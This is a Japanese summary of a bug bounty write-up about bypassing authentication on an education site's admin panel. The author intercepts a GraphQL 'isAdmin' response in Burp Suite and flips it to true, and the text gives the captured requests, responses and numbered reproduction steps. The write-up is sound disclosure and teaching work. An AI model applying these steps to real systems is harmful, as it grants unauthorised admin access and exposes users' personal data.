Hello there, ('ω')ノ
別の管理パネルを。
脆弱性:
HTTP 応答操作
認証バイパス
記事:
https://infosecwriteups.com/another-admin-panel-e0489dc76678
今回は、target.com を取り上げて。
target.com のサブドメインを。つずつテストしていたところ。
このサブドメイン education.target.com にたどり着き。
これは、学生がログインして講義を見ることができるある種の教育ページで。
攻撃:
通常のユーザとしてログインすると、ログイン機能と学生教育ページが。
利用できるページが表示され。
Burp Suiteを開き、ページを更新して、サーバに対して行われた要求を確認して。
その後、なんらかの理由で api のエンドポイントに対して。
graphql リクエストが行われていることがわかり。
リクエスト:
POST /api/graphql HTTP/1.1
Host: education.target.com
User-Agent: Mozilla/5.0 Gecko/20100101 Firefox/91.0
Accept: */*Cookie: a0:state=YOUR Cookie
{"operationName":"isAdmin","variables":{},"query":"query isAdmin {\n isAdmin\n}\n"}
応答:
HTTP/1.1 200 OK
Server: nginx/1.19.1
Date: Sat, 04 Sep 2021 04:47:05 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 27
Connection: close
access-control-allow-origin: *
access-control-allow-credentials: true
etag: W/"1b-fPOq3WJkZQ0rkaalpPwLwZziKSQ"
Vary: Accept-Encoding
Strict-Transport-Security: max-age=15724800; includeSubDomains
{"data":{"isAdmin":false}} ← ここをisAdmin":trueに変更
すると、管理パネルにアクセスでき。
そこに講義を追加し、すべての学生のリストを表示できて。
再現手順:
1.この URL に移動して。
2.資格情報でログインして。
3.その後、ページを更新し、Burp Suiteでリクエストをキャプチャして。
このリクエストが表示されるまですべてのリクエストを転送して。
POST /api/graphql HTTP/1.1
Host: education.target.com
User-Agent: Mozilla/5.0 Gecko/20100101 Firefox/91.0
Accept: */*Cookie: a0:state=YOUR Cookie
{"operationName":"isAdmin","variables":{},"query":"query isAdmin {\n isAdmin\n}\n"}
4.その要求を右クリック⇨Do Intercept⇨この要求への応答を。
5.その後、Burp Suite に次の応答が表示され。
HTTP/1.1 200 OK
Server: nginx/1.19.1
Date: Sat, 04 Sep 2021 04:47:05 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 27
Connection: close
access-control-allow-origin: *
access-control-allow-credentials: true
etag: W/"1b-fPOq3WJkZQ0rkaalpPwLwZziKSQ"
Vary: Accept-Encoding
Strict-Transport-Security: max-age=15724800; includeSubDomains
{"data":{"isAdmin":false}}
6.「isAdmin: false」を「isAdmin: true」に変更し、そのリクエストを送信して。
7.ブラウザに戻る ホームページに管理パネルが表示され。
主な脆弱性は、graphql にあり。
Graphql 実装の設定ミスが原因で、攻撃者は管理パネルにアクセスできて。
緩和策:
ログインページ、特にgraphqlページのすべてのリクエストを常に確認して。
Best regards, (^^ゞ